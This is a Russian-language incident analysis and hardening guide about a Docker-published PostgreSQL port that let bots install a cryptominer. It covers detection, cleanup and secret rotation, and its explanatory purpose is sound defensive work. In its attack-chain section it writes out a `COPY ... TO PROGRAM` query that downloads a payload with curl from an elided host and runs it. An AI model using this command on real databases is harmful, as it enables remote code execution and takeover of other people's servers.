Открытый порт базы: как одна строка в compose превращает сервер в майнинг-ферму

Разбор настоящего инцидента: от деплоя до заражения прошло восемь часов. Что именно было не так, почему firewall не спас и как проверять, а не надеяться.

v1 0 stars 0 forks 0 watchers 1 branch 0 runs Public
mikicreated via APIv1
Что случилось

Реальный случай, все опознавательные детали убраны.

КогдаЧто
День 1, 08:07Задеплоен compose-файл с прокинутым портом PostgreSQL
День 1, 16:29Первое срабатывание OOM killer — уже майнер
Дни 1–6Криптомайнер работает, никто не замечает
День 6, 14:14Найден и удалён
День 6, 14:45Порт закрыт

От деплоя до атаки — восемь часов. Не месяц, не неделя. Восемь часов. Никто сервер не искал: боты круглосуточно перебирают весь диапазон адресов и стучатся в стандартные порты.

Украдено за это время: 2.3 ГБ оперативной памяти и 162% процессора — постоянно, шесть суток.

Виновата была одна строка.

Та самая строка
yaml
1postgres:
2 image: postgres:15-alpine
3 environment:
4 POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
5 ports:
6 - "5432:5432" # <- вот это

Выглядит безобидно. Но в этой записи не указан адрес хоста, а значит Docker подставляет 0.0.0.0 — «слушать на всех сетевых интерфейсах». То есть на публичном адресе сервера. То есть из интернета.

Три формы записи и что они на самом деле значат:

ЗаписьКто может подключиться
"5432:5432"весь интернет
"127.0.0.1:5432:5432"только сам сервер
раздела ports нет вообщетолько контейнеры в той же docker-сети

Правильный ответ для базы данных — третий. Приложению порт наружу не нужен: оно ходит в базу по имени сервиса внутри сети Docker.

yaml
1postgres:
2 image: postgres:15-alpine
3 networks: [backend]
4 # ports НЕ НУЖЕН
5
6api:
7 networks: [backend]
8 environment:
9 DATABASE_URL: postgresql://user:pass@postgres:5432/db
10 # ^^^^^^^^ имя сервиса, не адрес
Как из открытого порта получается запущенный процесс

Это не магия и не дыра в PostgreSQL. Это штатная возможность, которой воспользовались:

code
11. Бот сканирует диапазон адресов, находит открытый 5432
2 |
32. Подбирает пароль (или пробует стандартный)
4 |
53. Выполняет обычный SQL-запрос:
6
7 COPY (SELECT '') TO PROGRAM 'curl http://... -o /tmp/m && chmod +x /tmp/m && /tmp/m';
8 |
94. PostgreSQL честно выполняет команду в операционной системе
10 |
115. Майнер запущен от пользователя postgres

COPY ... TO PROGRAM умеет запускать программы на сервере — так и задумано, это фича для выгрузки данных через внешний обработчик. Доступна суперпользователю и обладателям роли pg_execute_server_program. А postgres из стандартного образа — как раз суперпользователь.

Отсюда правило: доступ к порту базы данных равен возможности выполнять команды на сервере. Не «прочитать данные» — а именно выполнять команды. Относиться к нему надо так же, как к доступу по SSH.

Проверка

1
Посмотреть, что реально слушает наружу

Не в compose-файле, а в системе:

bash
1ss -tlnp # все слушающие сокеты
2ss -tlnp | grep -E '5432|6379|3306|27017' # базы данных

Читаем колонку с адресом:

yaml
10.0.0.0:5432 <- ПЛОХО, доступно из интернета
2[::]:5432 <- ПЛОХО, то же самое для IPv6
3127.0.0.1:5432 <- только локально

Если ss нет, подойдёт netstat -tlnp.

Why: Конфигурация и факт расходятся чаще, чем кажется: правку внесли, но контейнер не пересоздали; или порт прокинут в другом файле, который ты не смотрел; или в кластере правила работают иначе. Проверяй состояние системы, а не свои намерения.
$ss -tlnp | grep -E '5432|6379|3306|27017'
Check
  • Ни одна база не слушает на 0.0.0.0
  • Ты смотрел вывод команды, а не только конфиг
Firewall тебя не спасёт

Самая неприятная часть. Типичная логика: «порты открыты, но у меня стоит ufw и всё лишнее закрыто». Это не работает.

Из документации Docker:

Docker routes container traffic in the nat table, which means that packets are diverted before it reaches the INPUT and OUTPUT chains that ufw uses.

Перевод: Docker направляет трафик контейнеров в таблице nat, и пакеты уходят по назначению до того, как доберутся до цепочек INPUT и OUTPUT, с которыми работает ufw.

То есть ufw deny 5432 создаёт ощущение защиты, ничего при этом не закрывая. Порт останется доступным, а ты будешь уверен в обратном — это хуже, чем знать, что защиты нет.

Вывод: единственная надёжная защита прокинутого порта — не прокидывать его. Не «закрыть файрволом», а не публиковать вовсе.

Проверяется это одной командой с другой машины:

bash
1nc -zv адрес-сервера 5432

Ответ succeeded означает, что порт открыт, что бы ни показывал ufw status.

Проверка

2
Убрать публикацию портов у баз и кэшей

В compose-файле удали раздел ports целиком у всех сервисов, к которым не должны обращаться снаружи: базы, кэши, очереди, внутренние API.

yaml
1postgres:
2 # ports: <- убрать
3 # - "5432:5432" <- убрать
4 networks: [backend]

Затем пересоздать контейнеры, а не просто перезапустить:

bash
1docker compose up -d --force-recreate postgres redis

После этого снова ss -tlnp — порт должен исчезнуть.

Why: Перезапуск (`restart`) не меняет проброс портов: он задаётся при создании контейнера. Люди правят файл, делают restart, видят порт на месте и решают, что правка не помогает.
$docker compose up -d --force-recreate
Check
  • Раздел ports убран у всех внутренних сервисов
  • Контейнеры пересозданы, а не перезапущены
  • ss -tlnp больше не показывает эти порты
  • Приложение по-прежнему работает — оно ходит по имени сервиса

Если уже заражён

3
Найти следы

Типовые признаки майнера:

bash
1# кто ест процессор
2ps aux --sort=-%cpu | head -10
3
4# запущенное из временных папок — почти всегда плохой знак
5ps aux | grep -E '/tmp/|/var/tmp/|/dev/shm/' | grep -v grep
6
7# исходящие соединения на нестандартные порты
8ss -tupn | grep ESTAB
9
10# закрепление в системе
11crontab -l
12ls -la /etc/cron.d/ /etc/cron.hourly/
13systemctl list-units --type=service --state=running

В разобранном случае процессы принадлежали пользователю postgres и лежали в /tmp — сочетание, которого в норме не бывает.

Why: Убить процесс мало. Майнеры прописываются в cron и systemd, чтобы вернуться после перезагрузки. Если не вычистить закрепление, через час всё повторится, и ты решишь, что заражение не лечится.
$ps aux --sort=-%cpu | head -10
Check
  • Проверены процессы, cron и автозагрузка
  • Найдено, от какого пользователя работал процесс — это указывает на точку входа
4
Считать все секреты скомпрометированными

Если кто-то выполнял команды на сервере, он мог прочитать всё, к чему имел доступ: переменные окружения контейнеров, файлы .env, ключи, содержимое базы.

Менять надо:

  • пароли всех баз и кэшей на этой машине;
  • ключи подписи токенов — иначе выпущенные токены остаются валидными;
  • ключи доступа к внешним сервисам: хранилище, платежи, почта;
  • ключи развёртывания и токены доступа к репозиториям.

Пароли пользователей приложения — отдельный разговор: если утекла база с хешами, а хеши слабые, их придётся сбрасывать.

Why: Соблазн пропустить этот шаг велик: сервер почищен, всё работает. Но вернуться со старым паролем можно в любой момент, и тогда «повторное заражение» будет выглядеть мистикой.
Check
  • Пароли баз изменены
  • Ключи подписи токенов заменены
  • Внешние ключи перевыпущены
Почему это не «глупая ошибка»

Самое интересное в этой истории: конфигурация не была придумана. Она была скопирована из официальной документации фреймворка, на котором сделан проект. В разделе про запуск в Docker там стояло ровно "5432:5432" — и никакого предупреждения о том, что пример рассчитан на локальную разработку.

Это типично. Примеры в документации почти всегда пишут под «запустить у себя и посмотреть»: порты наружу, чтобы можно было подключиться клиентом, пароли вроде postgres, никаких ограничений. Для их задачи это правильно.

Отсюда два вывода на будущее.

Первый: пример из документации — это не конфигурация для боевого сервера. Между ними всегда есть работа: убрать порты, вынести секреты, ограничить права.

Второй, более важный: если ты нашёл такое в документации — заведи issue у авторов. Ты не единственный, кто скопировал этот кусок.

Короткий чеклист перед выкаткой
bash
1# 1. Что реально слушает наружу
2ss -tlnp | grep -v 127.0.0.1
3
4# 2. Есть ли ports у того, чему они не нужны
5grep -n -A2 'ports:' docker-compose.yml
6
7# 3. Секреты в файле или в окружении
8grep -nE '(PASSWORD|SECRET|TOKEN|KEY)\s*[:=]\s*[^$]' docker-compose.yml
9
10# 4. Проверка снаружи, с другой машины
11nc -zv адрес-сервера 5432 6379

Четыре команды, полторы минуты. Инцидент выше стоил шести суток чужого майнинга и полного дня разбора.

Что означает запись ports: - "5432:5432" в docker-compose?
На сервере включён ufw, порт 5432 в нём запрещён. Контейнер публикует 5432. Доступен ли порт из интернета?
Почему доступ к порту PostgreSQL опаснее, чем просто утечка данных?
Поправил ports в compose и сделал docker compose restart. Порт всё ещё открыт. Почему?